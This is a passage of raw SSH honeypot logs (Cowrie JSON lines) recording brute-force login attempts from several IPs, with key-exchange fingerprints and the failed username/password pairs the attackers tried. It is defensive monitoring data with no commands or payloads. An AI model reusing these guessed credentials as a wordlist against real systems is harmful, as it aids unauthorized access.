ha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:23.471982Z","src_ip":"5.196.136.131","session":"295552f0a231","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:23.721130Z","src_ip":"5.196.136.131","session":"295552f0a231","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":52994,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4bdfea6bd0f","protocol":"ssh","message":"New connection: 38.93.206.2:52994 (159.203.135.109:22) [session: f4bdfea6bd0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:23.832364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:23.837530Z","src_ip":"38.93.206.2","session":"f4bdfea6bd0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:23.886365Z","src_ip":"38.93.206.2","session":"f4bdfea6bd0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"daniels","message":"login attempt [root/daniels] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:24.037830Z","src_ip":"38.93.206.2","session":"f4bdfea6bd0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:24.804058Z","src_ip":"5.196.136.131","session":"295552f0a231","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:25.089178Z","src_ip":"38.93.206.2","session":"f4bdfea6bd0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":45830,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b049f8858bf","protocol":"ssh","message":"New connection: 5.196.136.131:45830 (10.17.0.5:22) [session: 7b049f8858bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:27.792381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:27.796627Z","src_ip":"5.196.136.131","session":"7b049f8858bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:27.874341Z","src_ip":"5.196.136.131","session":"7b049f8858bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:28.105783Z","src_ip":"5.196.136.131","session":"7b049f8858bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:29.185803Z","src_ip":"5.196.136.131","session":"7b049f8858bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":11539,"dst_ip":"10.17.0.5","dst_port":22,"session":"9195e305e3ca","protocol":"ssh","message":"New connection: 5.196.136.131:11539 (10.17.0.5:22) [session: 9195e305e3ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:32.285082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:32.288742Z","src_ip":"5.196.136.131","session":"9195e305e3ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:32.371620Z","src_ip":"5.196.136.131","session":"9195e305e3ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:32.621258Z","src_ip":"5.196.136.131","session":"9195e305e3ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:33.706870Z","src_ip":"5.196.136.131","session":"9195e305e3ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":10742,"dst_ip":"10.17.0.5","dst_port":22,"session":"e51154e05bc9","protocol":"ssh","message":"New connection: 5.196.136.131:10742 (10.17.0.5:22) [session: e51154e05bc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:36.722489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:36.726219Z","src_ip":"5.196.136.131","session":"e51154e05bc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:36.801054Z","src_ip":"5.196.136.131","session":"e51154e05bc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:37.029258Z","src_ip":"5.196.136.131","session":"e51154e05bc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:38.106627Z","src_ip":"5.196.136.131","session":"e51154e05bc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":24980,"dst_ip":"10.17.0.5","dst_port":22,"session":"0aaeed90297e","protocol":"ssh","message":"New connection: 5.196.136.131:24980 (10.17.0.5:22) [session: 0aaeed90297e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:41.100345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:41.104490Z","src_ip":"5.196.136.131","session":"0aaeed90297e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:41.183569Z","src_ip":"5.196.136.131","session":"0aaeed90297e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:41.423676Z","src_ip":"5.196.136.131","session":"0aaeed90297e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:42.505104Z","src_ip":"5.196.136.131","session":"0aaeed90297e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":34112,"dst_ip":"10.17.0.5","dst_port":22,"session":"4af3332ab97d","protocol":"ssh","message":"New connection: 38.242.143.220:34112 (10.17.0.5:22) [session: 4af3332ab97d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:43.259633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:43.263609Z","src_ip":"38.242.143.220","session":"4af3332ab97d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:43.367275Z","src_ip":"38.242.143.220","session":"4af3332ab97d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loopring123","message":"login attempt [root/loopring123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:43.760731Z","src_ip":"38.242.143.220","session":"4af3332ab97d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:44.864913Z","src_ip":"38.242.143.220","session":"4af3332ab97d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":21127,"dst_ip":"10.17.0.5","dst_port":22,"session":"c048f61f14cf","protocol":"ssh","message":"New connection: 5.196.136.131:21127 (10.17.0.5:22) [session: c048f61f14cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:45.491269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:45.494165Z","src_ip":"5.196.136.131","session":"c048f61f14cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:45.568577Z","src_ip":"5.196.136.131","session":"c048f61f14cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:45.791938Z","src_ip":"5.196.136.131","session":"c048f61f14cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:46.868804Z","src_ip":"5.196.136.131","session":"c048f61f14cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.99.188.194","src_port":55678,"dst_ip":"10.17.0.5","dst_port":22,"session":"d140a2f2019e","protocol":"ssh","message":"New connection: 46.99.188.194:55678 (10.17.0.5:22) [session: d140a2f2019e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:48.792831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:48.797127Z","src_ip":"46.99.188.194","session":"d140a2f2019e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:48.919418Z","src_ip":"46.99.188.194","session":"d140a2f2019e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2023!!","message":"login attempt [root/unitedstates2023!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:49.276793Z","src_ip":"46.99.188.194","session":"d140a2f2019e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":46260,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5b7c12e0c5f","protocol":"ssh","message":"New connection: 5.196.136.131:46260 (10.17.0.5:22) [session: b5b7c12e0c5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:49.995082Z"}
